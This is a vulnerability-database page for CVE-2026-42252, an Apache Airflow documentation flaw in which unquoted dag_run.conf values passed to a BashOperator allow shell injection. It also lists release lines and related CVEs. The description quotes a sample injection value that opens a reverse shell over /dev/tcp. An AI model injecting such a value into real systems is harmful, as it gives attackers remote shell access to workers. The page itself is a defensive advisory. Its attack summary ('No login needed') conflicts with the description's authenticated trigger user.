Servers and applications
CVE-2026-42252
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
- Severity
- Critical 9.1
- Published
- 1 Jun 2026
- Last changed
- 3 Nov 2026
- Added to UpHeron
- 1 Nov 2026
- Fixed in
- 3.2.2
- Exploit chance
- 0.4% in the next 30 daysHigher than 33% of CVEs. EPSS by FIRST, 19 Nov 2026
- Attack
- Over the network · No login needed · No user action needed
- Attacker can
- Read data · Change data
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Sources
- NVD, CVE Program
Description
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example.
Affected software
| Software | Affected versions |
|---|---|
Apache AirflowServers and applications · cna:apache software foundation|apache airflow |
|
Apache AirflowServers and applications · cpe:a:apache:airflow |
|
About Apache Airflow
open-source workflow management platform written in Python, where workflows are created via Python scripts
- Weekly downloads (PyPI)
- 1,437,607PyPI Stats, 15 Nov 2026
- Docker Hub pulls
- 1,734,204,390Docker Hub, 15 Nov 2026
- GitHub stars
- 47,481GitHub, 15 Nov 2026
- Forks
- 18,360GitHub, 15 Nov 2026
- Latest release
- 3.4.0GitHub, 15 Nov 2026
- Released
- 6 Nov 2026GitHub
- Developer
- Apache Software FoundationWikidata
- License
- Apache Software License 2.0, Apache LicenseWikidata
- Written in
- PythonWikidata
- First published on GitHub
- 13 Apr 2015GitHub
Website Source code Docker image Package
Release lines
| Release | Latest | Security fixes |
|---|---|---|
| 3.4 | 3.4.0 | Yes |
| 3.3 | 3.3.2 | Ended 7 Nov 2026 |
| 3.2 | 3.2.2 | Ended 6 Jul 2026 |
| 3.1 | 3.1.8 | Ended 7 Apr 2026 |
| 3.0 | 3.0.6 | Ended 25 Sept 2025 |
| 2 | 2.11.2 | Ended 22 Apr 2026 |
From endoflife.date.
Vulnerabilities in Apache Airflow
- In our list
- 176
- Published in the last 12 months
- 83
- Critical, last 12 months
- 6
- High, last 12 months
- 30
- Known exploited
- 2
- CVE-2026-40913Apache Airflow: Import Errors API Leaks Unauthorized DAG Stack Traces via Incomplete Per-File RBAC EnforcementHigh 8.2 9 Nov 2026
- CVE-2026-50204Apache Airflow: Audit-log secrets masker redacts by key name only, persisting connection and Variable secrets in cleartextMedium 6.5 9 Nov 2026
- CVE-2026-68982Apache Airflow: CeleryExecutor: forged callback workloads run on Celery workers without workload-token validationCritical 9.8 9 Nov 2026
- CVE-2026-86829Apache Airflow: Deserialization of task-controlled XCom values in the Scheduler during dependency evaluationHigh 8.8 9 Nov 2026
- CVE-2026-82337Apache Airflow: DeadlineAlert fields bypass plugin-registration gate for scheduler-side deserializationHigh 7.3 9 Nov 2026
- CVE-2026-86468Apache Airflow: CLI argv masking misses Variable values and --conn-extra, persisting secrets in audit logsMedium 6.5 9 Nov 2026